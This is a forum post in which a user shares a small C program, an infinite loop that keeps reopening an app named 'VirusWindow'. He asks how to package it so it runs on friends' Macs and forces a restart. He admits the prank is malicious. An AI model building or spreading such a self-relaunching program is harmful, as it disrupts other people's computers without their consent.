Become a MacRumors Supporter for $50/year with no ads, ability to filter front page stories, and private forums.

noahgolm

macrumors member
Original poster
Aug 18, 2010
65
0
Hi, I'm making a little app (to mess with friends) that opens a window that, when the window or app is closed, it will open another. It's kind of malicious, I know, but I have a problem. How would I run the command ABOUT the app, from the app. I have two projects right now, one with the window, and one with the script. The window app is called "VirusWindow." This is the script part:
Code:
#include <stdio.h>

void main (void)
{
	for(; ;)
	{
		system("open -a VirusWindow");
	}
}
You would have to restart after a while, because you can't do anything else. How do I add this to the app with the window and still have this functionality? I want it to be able to work on other computers, so it can't reference a location in my computer.
 
Register on MacRumors! This sidebar will go away, and you'll see fewer ads.